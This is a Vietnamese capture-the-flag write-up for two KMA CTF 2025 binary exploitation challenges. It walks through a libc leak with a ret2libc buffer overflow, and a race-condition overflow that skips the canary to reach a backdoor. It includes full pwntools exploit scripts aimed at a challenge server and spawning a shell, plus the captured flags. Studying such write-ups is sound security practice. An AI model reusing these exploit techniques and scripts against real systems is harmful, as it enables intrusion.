# KMA_CTF_2025 ## 1 ### Phân tích source code cho sẵn - chương trình là các mảng tạo, in và sửa thông tin danh sách sinh viên. ![image](https://hackmd.io/_uploads/Sy38l6eble.png) - security check ![image](https://hackmd.io/_uploads/rJZ7mTg-xl.png) **`WHERE IS THE BUG`** ![image](https://hackmd.io/_uploads/S19gzTl-gx.png) - Trong hàm nhập danh sách -> ta thấy có lỗi `OOB` khi không check số lượng sinh viên ta có thể nhập vào trong khi ta chỉ khai báo `sv a[100]` (but in this chall, we dont need to use this bug) - Kết hợp với hint đã cho, thì phần `scanf` trong bài này nếu ghi `.` thì tương đương với việc ta không ghi gì vào địa chỉ đã cấp để ghi cho biến đó -> lúc in ra thì ta có thể leak được 1 cái gì đó. - Moreover, hàm `gets` trong hàm nhập danh sách cho phép nhập unlimited số lượng kí tự -> `BOF` . Kết hợp với đó là hàm `sua` thì ta có thể ghi đè vào địa chỉ return address nếu nhập đủ số kí tự đủ dài `MATCH THOSE BUG` - Như vậy ta đã có lỗi BOF để ghi đè vào địa chỉ return address nên hướng mà mình nghĩ tới đầu tiên sẽ là `ret2libc` . Để làm được điều này, ta sẽ phải có được địa chỉ base của libc. Lets find it!!! ### EXPLOIT LOCALLY #### Leak libc - Trong hàm `xuatds` ta được biết hai biến mà ta dùng để leak là `tuoi` và `diem trung binh` được in ra màn hình dưới dạng `%d và %lf` ![image](https://hackmd.io/_uploads/Hyd5X6ebee.png) -> ta sẽ check thử coi nó in ra gì (đồng thời đổi nó về dạng hex trước khi in ra để có thể đọc địa chỉ dễ dàng hơn) ```python = def float_to_hex(f): packed = struct.pack('!f', f) return packed.hex() #hàm chuyển từ float về hex sla(b"Moi ban nhap lua chon:", b"1") sla(b"Nhap so sinh vien:", b"102") # nhap 100 sv for i in range (100): sla(b"Nhap ten: ", str(i).encode()) sla(b'Nhap tuoi:', b".") sla(b'Nhap diem:', b".") sla(b"Moi ban nhap lua chon:", b"2") p.recvuntil(b"Diem trung binh\n") libc_addr = 0 # hàm in ra index + hai số hex leak được for i in range (100): p.recv(25) hex1 = hex(abs(int(p.recv(10)))) hex2 = float_to_hex(float(p.recvline(keepends=False))) print(i, hex1, hex2) ``` -> GDB CHECK ![image](https://hackmd.io/_uploads/Sy_MSpg-le.png) -> well we definitely working on sth here... - Như thấy thì ta có thể leak được một địa chỉ nào đó. - Vậy liệu trong mớ địa chỉ được leak ra, ta có gì... - Sau 1 hồi thì mình quyết định copy toàn bộ vô notepad và sử dụng chức năng tìm kiếm để coi có bất kì địa chỉ libc nào được leak không ![image](https://hackmd.io/_uploads/H1_iITgWxe.png) -- vmmap thấy địa chỉ libc start with `0x7fc1` ![image](https://hackmd.io/_uploads/BkmbD6xbxx.png) > Theo như mình nhận thấy thì tìm thấy được khá nhiều địa chỉ có 0x7fc1 nhưng mà lại không có đuôi đằng sau, tức không đủ 6 bytes địa chỉ libc mà chỉ có 2 bytes cao nên chắc chắn ở đây sẽ phải ghép hai địa chỉ vào để có thể ra được 1 địa chỉ libc nào đó. > > Thêm vào đó notepad tìm được khá nhiều địa chỉ 0x7fc1 nên mình đã thử chạy lại + check lại thì được biết một số địa chỉ được in ra randomize và 1 số là fixed. Trong đó có index số 82 là fixed nên mình sẽ sử dụng index số 82 làm nửa đầu của địa chỉ libc cần tìm. - Okay giờ ta sẽ tìm một nửa còn lại của địa chỉ libc. ![image](https://hackmd.io/_uploads/SJUHu6lZll.png) - Nhìn trong vmmap thì thấy địa chỉ sau đó sẽ start with 74.... nên ta sẽ tìm tiếp `0x74` xem có những địa chỉ nào có "tiềm năng" không - ta tìm được 6 địa chỉ "match" ở đây. Mình sẽ thử ghép nó vào 0x7fc1 ở đầu và vmmap xem nó có phải địa chỉ libc nào đó không. ![image](https://hackmd.io/_uploads/Syhetalbxx.png) - test index 57 và ta có địa chỉ libc ![image](https://hackmd.io/_uploads/BJ78Kplbex.png) - Mình đã thử chạy lại vài lần và confirm rằng index 57 là fixed. Tức là trong mọi lần chạy thì 82+57 sẽ là 1 địa chỉ libc và có offset = 0x1e3b - Việc còn lại là mình sẽ leak ra và ret2libc thôi ``` python = for i in range (102): p.recv(25) hex1 = hex(abs(int(p.recv(10)))) hex2 = float_to_hex(float(p.recvline(keepends=False))) print(i, hex1, hex2) if(i == 57): libc_addr += int(hex1, 16) if(i == 82): libc_addr += int(hex1, 16) << 32 print("Libc addr: ", hex(libc_addr)) libc.address = libc_addr - 0x1e3b9 print("Libc base = ", hex(libc.address)) ``` ![image](https://hackmd.io/_uploads/rkf1s6eZee.png) -> đã leak được libc base -> giờ ta chỉ cần ret2libc bằng hàm `sua` thôiiiiii #### ret2libc ![image](https://hackmd.io/_uploads/r1JUs6l-lg.png) - tìm tên (aka our index) và sửa lại thông tin index đó. Và mình có thể modify địa chỉ nào đó ở đây. - Lets check (mình sẽ thử index 100 vì nó là index cuối trong `sv a[100]`) ``` python = sla(b"Moi ban nhap lua chon:", b"5") sla(b'Nhap ten sinh vien muon sua:', b"100") payload = b"A"*100 sla(b"Nhap ten: ", payload) sla(b'Nhap tuoi:', b".") sla(b'Nhap diem:', b".") sla(b"Moi ban nhap lua chon:", b"6") p.interactive() ``` - luckyly ta ghi ngay vào rbp của trong hàm main ![image](https://hackmd.io/_uploads/BJC5haebxl.png) ``` python = sla(b"Moi ban nhap lua chon:", b"5") sla(b'Nhap ten sinh vien muon sua:', b"100") payload = flat( b"A"*8, ret, pop_rdi, next(libc.search("/bin/sh")), libc.sym['system'], ) sla(b"Nhap ten: ", payload) sla(b'Nhap tuoi:', b".") sla(b'Nhap diem:', b".") sla(b"Moi ban nhap lua chon:", b"6") ``` okayyy check ![image](https://hackmd.io/_uploads/rys-6axble.png) -> well đã đượcccc ![image](https://hackmd.io/_uploads/rJtm66eZxe.png) -> exploit local thành công ### EXPLOIT REMOTELY - well sau 1 hồi run code exploit thì hoàn toàn không được. Vì vậy chắc chắn là giữa local và remote có sự lệch index - Nhưng bây giờ, index nào dùng để exploit - Được biết 1,5 bytes cuối của địa chỉ offset sẽ luôn giống nhau khi exploit local or remote nên ta sẽ tìm xem địa chỉ offset `0x3b9` ở index nào và thay thử. (Làm như cũ, copy vào notepad và tìm offset) - ![image](https://hackmd.io/_uploads/SklI10xWxl.png) -> index 67 đang giữ địa chỉ offset này, ta sẽ thử thay 57 thành 67 trong script coi có exploit được không? - thành cônggggg ![image](https://hackmd.io/_uploads/ByJRyRx-ge.png) FLAG IS : KMACTF{lE_c@y_Kh0e_Vi_mo7_N6UOi_Da_R@_d1_KhOn6_7RO_ve_nHUn6_NuOc_m4t_d0_cuNG_ch1_1AM_v3T_ThuOn6_7hEM_D@U_v!_Sao_eM_LaI_KHoC,_v!_S@O_Em_l@i_NHo_DaU_b1e7_aNH_ch4N9_c0n_nhu_LuC_Xua} // ilovedongnhi // ### FULL SCRIPT ``` python = #!/usr/bin/python3 from pwn import * exe = ELF('1_patched', checksec=False) libc = ELF('libc.so (1).6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' brva 0x0000000000001A2B b xuatds c ''') input() if args.REMOTE: p = remote('36.50.177.41', 6001) # host = sys.argv[1].split(":") # p = remote(host[0],int(host[1]) ) else: p = process([exe.path]) GDB() def float_to_hex(f): packed = struct.pack('!f', f) return packed.hex() sla(b"Moi ban nhap lua chon:", b"1") sla(b"Nhap so sinh vien:", b"102") for i in range (102): sla(b"Nhap ten: ", str(i).encode()) sla(b'Nhap tuoi:', b".") sla(b'Nhap diem:', b".") sla(b"Moi ban nhap lua chon:", b"2") p.recvuntil(b"Diem trung binh\n") libc_addr = 0 for i in range (102): p.recv(25) hex1 = hex(abs(int(p.recv(10)))) hex2 = float_to_hex(float(p.recvline(keepends=False))) print(i, hex1, hex2) if(i == 67): libc_addr += int(hex1, 16) if(i == 82): libc_addr += int(hex1, 16) << 32 print("Libc addr: ", hex(libc_addr)) libc.address = libc_addr - 0x1e3b9 print("Libc base = ", hex(libc.address)) #57-local, 67-server pop_rdi = 0x2a3e5 + libc.address ret = 0x0000000000029139 + libc.address sla(b"Moi ban nhap lua chon:", b"5") sla(b'Nhap ten sinh vien muon sua:', b"100") payload = flat( b"A"*8, ret, pop_rdi, next(libc.search("/bin/sh")), libc.sym['system'], ) sla(b"Nhap ten: ", payload) sla(b'Nhap tuoi:', b".") sla(b'Nhap diem:', b".") sla(b"Moi ban nhap lua chon:", b"6") p.interactive() ``` ## KMA Mail ### Phân tích chall - Nhìn chung đây là một chương trình gửi và nhận file giữa các user - Điểm đặc biệt của bài cũng được author - anh Trí nêu ra trong phần description `I have created a simple mail system for my school but it can store only 1 mail right now. Could you check this for me?` -> chỉ gửi được 1 mail duy nhất, tức là ta sẽ không gửi được 2 mail 1 lần, nếu gửi 1 mail A thì size hiện tại sẽ là size của mail A, sau đó nếu gửi thêm mail B thì size sau đó sẽ là size của mail B. -> đây cũng là cơ sở để ta có thể exploit được bài Race Condition này. - Trước hết ta sẽ nhìn xem, chall này race condition như thế nào. -- ![image](https://hackmd.io/_uploads/rkhc3Hmbel.png) -- Ta thấy có hàm `usleep(1000000)` khi ta đã `alloca` xong. Vậy, nếu ta alloca 1 mail size nhỏ trước sau đó khi chương trình đang `usleep(1000000)` thì ta alloca thêm 1 mail khác thì sao? - trước hết ta send 1 mail với vào account 100 ![image](https://hackmd.io/_uploads/rJr7ArmZle.png) - sau đó ta send 1 mail khác vào cùng account này khi mail trước đang ở usleep ![image](https://hackmd.io/_uploads/ryvn0HQWel.png) -> như đã thấy thì ở đây nếu ta thay đổi nội dung mail (aka gửi 1 mail khác cho cùng người dùng) trong lúc mà chương trình đang usleep với mail trước thì toàn bộ nội dung trong mail trước sẽ bị thay bằng mail sau. - Cùng với đó ta có hàm backdoor cho phép lấy shell ![image](https://hackmd.io/_uploads/r14TJLX-ll.png) vì vậy bài này em suy nghĩ theo hướng ret2win để có thể gọi được system(/bin/sh) - Security check: ![image](https://hackmd.io/_uploads/BJxmx8Q-ee.png) - PIE và Canary on -> Tìm cách leak exe base và bypass canary - Hơn nữa bài này còn có lỗi BOF, khi ta gửi 1 mail A nhỏ thì lúc này chương trình đã alloca 1 vùng nhỏ để store mail A, nhưng trong lúc usleep, nếu attacker gửi 1 mail B có độ dài lớn hơn cho cùng người dùng thì lúc này stack sẽ bị ghi đè bởi 1 mail lớn hơn rất nhiều `TỔNG HỢP BUG` - BOF + RACE_CONDITION - thêm vào đó qua việc solve bài này thì em sẽ note thêm 1 bug để exploit (bypass canary) ở đây. ![image](https://hackmd.io/_uploads/SkKPbIXWex.png) ![image](https://hackmd.io/_uploads/BJ1RGI7bxl.png) -- vì i nằm ở ngay dưới biến s(nơi ta bắt đầu ghi mail vào) nên ở đây nếu ghi đè i thì s[i] sẽ bắt đầu từ nơi ghi đè chứ không bắt đầu từ đầu nữa. > ví dụ: > ban đầu i = 0 thì mail sẽ được ghi trong stack từ offset 0 > nhưng nếu i = 100 thì mail trong stack sẽ được ghi từ offset 100 > -> đây cũng là cơ sở để em có thể bypass canary trong bài này, mình có thể manipulate i nhập vào để ghi đè mỗi return address thôi chứ không cần ghi qua canary. ### It's time to exploit locally #### Leak exe base - Vậy ta sẽ leak như thế nào? ![image](https://hackmd.io/_uploads/SJlmVL7Weg.png) -- trong hàm này ta sẽ dùng `printf("%s", buf)` để leak được exe base. Để leak được ta cần hiểu cơ chế của printf, printf sẽ dừng in cho tới khi nào gặp null byte `\x00` vì vậy ta chỉ cần ghi đè các NULL bytes này thì có thể leak được stack, cùng tìm xem có địa chỉ nào có thể leak được không. ``` python = def register(index): sla(b'> ', b"1") sla(b'Username: ', str(index).encode()) sla(b'Password: ', str(index).encode()) def log_in(index): sla(b'> ', b"2") sla(b'Username: ', str(index).encode()) sla(b'Password: ', str(index).encode()) def send_mail_to(index, title, content): sla(b'> ', b"1") sla(b'--- RECEIVER --------------------\n', str(index).encode()) sla(b'--- TITLE -----------------------\n', title) sla(b'--- CONTENT ---------------------\n', content) sl(b"\n") # sla(b'> ', b"0") register(100) log_in(100) # payload = b"A"*0x240 + b"A"*0x50 + b"A"*0x80 + b"A"*10 payload = b"A"*0x300 send_mail_to(100, b"A", payload) sla(b'> ', b"2") ``` ![image](https://hackmd.io/_uploads/HkulIUXWlx.png) - stop ở usleep và em sẽ tel ra xem có địa chỉ nào có thể leak được không ![image](https://hackmd.io/_uploads/r18ML8mbgg.png) - em tìm được địa chỉ này, trộm vía là địa chỉ này không hề có null bytes vì vậy em sẽ chọn địa chỉ này để leak base - Tính offset ![image](https://hackmd.io/_uploads/SJc6LLQbgl.png) - 0x300 bytes cũ + 0x1A bytes = 0x31A bytes để chạm tới và leak được địa chỉ này. - Vì địa chỉ này không có null byte nên printf sẽ in cho tới hết địa chỉ này. ``` python = payload = b"A"*0x31A send_mail_to(100, b"A", payload) ``` ![image](https://hackmd.io/_uploads/rJJBvUmZlx.png) ![image](https://hackmd.io/_uploads/rJI9DLXbel.png) -> đã leak được -> giờ viết script để leak địa chỉ này và tính offset và base luôn. ``` python = p.recvuntil(b'--- CONTENT ---------------------\n', drop = True) p.recv(0x310) p.recv(0xd) exe_leak = u64(p.recv(6) + b"\x00\x00") exe.address = exe_leak - 0x3d18 log.info("Exe leak = " + hex(exe_leak)) log.info("Exe base = " + hex(exe.address)) ``` ![image](https://hackmd.io/_uploads/SyGzOIQWlg.png) -> đã leak được exe base #### RET2WIN - backdoor - Đặt tên cho mail mình leak được binary là mail A, còn mail mình gửi thêm vào để exploit là mail B. - Idea của em cho phần này chính là: 1. Ghi mail A mới rất bé, lúc này stack sẽ allocate 1 phần rất bé để chứa mail này. 2. Trong lúc mail A đang usleep, em sẽ gửi mail B rất lớn vào cùng user với mail A. Như đã demo bên trên thì content lúc này sẽ thay đổi. Cũng chính là mình BÒF vào stack của chương trình (trong mail A). Lúc này mình sẽ ret2win `MAIL A` ``` python = sla(b'> ', b"2") send_mail_to(100, b"A", b"B"*0x8) sla(b'> ', b"2") ``` `MAIL B` ```python = log_in(100) payload = flat( b"B"*0x100, ) send_mail_to(100, b"A", payload) ``` `mail A` ![image](https://hackmd.io/_uploads/Hk1BjUQ-le.png) - lúc này thì user mail đang chứa "BBBBBBBB\n\n\n" `send mail B` ![image](https://hackmd.io/_uploads/rkws9UQ-gx.png) sau khi gửi mail B thì user mail đang chứa 1 dãy B rất dài -> BOF ![image](https://hackmd.io/_uploads/Hy3LsI7Weg.png) `check mail A stack` ![image](https://hackmd.io/_uploads/HkT9jUXZlg.png) -> ghi ra ngoài luôn cả stack. `TẠI SAO LẠI NHƯ VẬY ?` - Do mình đã ghi đè vào index i, khiến cho việc nhập vào của mình bây giờ sẽ là ghi vào s[0xfd] chứ không phải ghi vào s[0] nữa. ![image](https://hackmd.io/_uploads/S1Ze38Qbgl.png) - **NÓ KHÔNG PHẢI LÀ LỖI, NÓ LÀ TÍNH NĂNG.** - Như đã note bên trên thì đây sẽ là cách để em bypass canary và ghi hàm `backdoor` vào phần return address để lấy shell. - Mình sẽ sửa lại payload xíu và tìm offset để fill vào i ``` python = payload = flat( b"\x00"*0x100, ) ``` - i lúc này sẽ ghi từ đầu ![image](https://hackmd.io/_uploads/rJEHTL7Zxl.png) vì i lúc này được đè là 0 - giờ em muốn ghi đè vào offset +0x30 trong ảnh trên, địa chỉ này chính là return address của hàm main ban đầu. Vì vậy em sẽ bắt đầu tính offset để ghi vào i - offset = 0x88 vậy nên ta sẽ ghi thử 0x100 byte "\x88" xem sao ![image](https://hackmd.io/_uploads/B1qV0UX-ex.png) ![image](https://hackmd.io/_uploads/HJulJDXZlg.png) -> yeah và ta đã ghi được vào địa chỉ của return address. -> giờ chỉ cần modify lại xí và gửi địa chỉ của hàm backdoor vào thôi - sau vài lần debug thì em tìm thấy offset là 0x2d + backdoor thì sẽ ghi được backdoor vào. Nhưng khi chạy thì... ![image](https://hackmd.io/_uploads/S1hAJvXbel.png) - hmmm ta bị thừa 1 byte ở backdoor - sau vài lần debug thì em nhận thấy dường như byte 0xca thừa này sẽ luôn có mặt nếu em đặt index là \x88. Em đã thử qua \x89, \x87, x\90, v.v mấy cái index xung quang n\x88 và \x87 worked. Em cũm chưa hiểu tại sao nó lại như vậy (mong các cao nhân chỉ giáo ạ) Sửa lại payload ``` python = exe.address = int(input(), 16) get_shell = exe.sym['backdoor'] log_in(100) payload = flat( b"\x87"*d, get_shell+8 # em để +8 để cho không bị lỗi xmm0 ) ``` ![image](https://hackmd.io/_uploads/Sy7oWvmZgl.png) -> đã send được hàm backdoor vào ![image](https://hackmd.io/_uploads/HkPJfvQ-ee.png) -> đã lấy được shell ### Exploit Remotely - Ta chỉ việc timing để xảy ra Race Condition là được ![image](https://hackmd.io/_uploads/BJIZJIX-gg.png) -> Vậy là ta đã lấy được shell và flag ### FULL SCRIPT #### SCRIPT A ``` python = #!/usr/bin/python3 from pwn import * exe = ELF('kmamail_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) # def GDB(): # if not args.REMOTE: # gdb.attach(p, gdbscript=''' # # b read_mail # # b send_mail # brva 0x0000000000001BEE # brva 0x0000000000001d86 # brva 0x0000000000001F34 # brva 0x0000000000001D63 # # brva 0x0000000000001A01 # c # ''') # input() if args.REMOTE: p = remote('36.50.177.41', 6004) # host = sys.argv[1].split(":") # p = remote(host[0],int(host[1]) ) else: p = process([exe.path]) # GDB() def register(index): sla(b'> ', b"1") sla(b'Username: ', str(index).encode()) sla(b'Password: ', str(index).encode()) def log_in(index): sla(b'> ', b"2") sla(b'Username: ', str(index).encode()) sla(b'Password: ', str(index).encode()) def send_mail_to(index, title, content): sla(b'> ', b"1") sla(b'--- RECEIVER --------------------\n', str(index).encode()) sla(b'--- TITLE -----------------------\n', title) sla(b'--- CONTENT ---------------------\n', content) sl(b"\n") # sla(b'> ', b"0") register(100) log_in(100) payload = b"A"*0x240 + b"A"*0x50 + b"A"*0x80 + b"A"*10 send_mail_to(100, b"A", payload) sla(b'> ', b"2") p.recvuntil(b'--- CONTENT ---------------------\n', drop = True) p.recv(0x310) p.recv(0xd) exe_leak = u64(p.recv(6) + b"\x00\x00") exe.address = exe_leak - 0x3d18 log.info("Exe leak = " + hex(exe_leak)) log.info("Exe base = " + hex(exe.address)) input() get_shell = exe.sym['backdoor'] sla(b'> ', b"2") send_mail_to(100, b"A", b"B"*0x8) sla(b'> ', b"2") sla(b'> ', b"0") sla(b'> ', b"0") #KMACTF{r43lly_???_my_m41l_syst3m_1s_c0mpr0m1sed_?!?} p.interactive() ``` #### SCRIPT B ``` python = #!/usr/bin/python3 from pwn import * exe = ELF('kmamail_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) # def GDB(): # if not args.REMOTE: # gdb.attach(p, gdbscript=''' # # b read_mail # # b send_mail # brva 0x0000000000001BEE # brva 0x0000000000001d86 # brva 0x0000000000001F34 # brva 0x0000000000001D63 # c # ''') # input() if args.REMOTE: p = remote('36.50.177.41', 6004) # host = sys.argv[1].split(":") # p = remote(host[0],int(host[1]) else: p = process([exe.path]) # GDB() def log_in(index): sla(b'> ', b"2") sla(b'Username: ', str(index).encode()) sla(b'Password: ', str(index).encode()) def send_mail_to(index, title, content): sla(b'> ', b"1") sla(b'--- RECEIVER --------------------\n', str(index).encode()) sla(b'--- TITLE -----------------------\n', title) sla(b'--- CONTENT ---------------------\n', content) sl(b"\n") # sla(b'> ', b"0") exe.address = int(input(), 16) get_shell = exe.sym['backdoor'] log_in(100) payload = flat( b"\x87"*0x2d, get_shell+8 ) send_mail_to(100, b"A", payload) # sla(b'> ', b"2") p.interactive() ```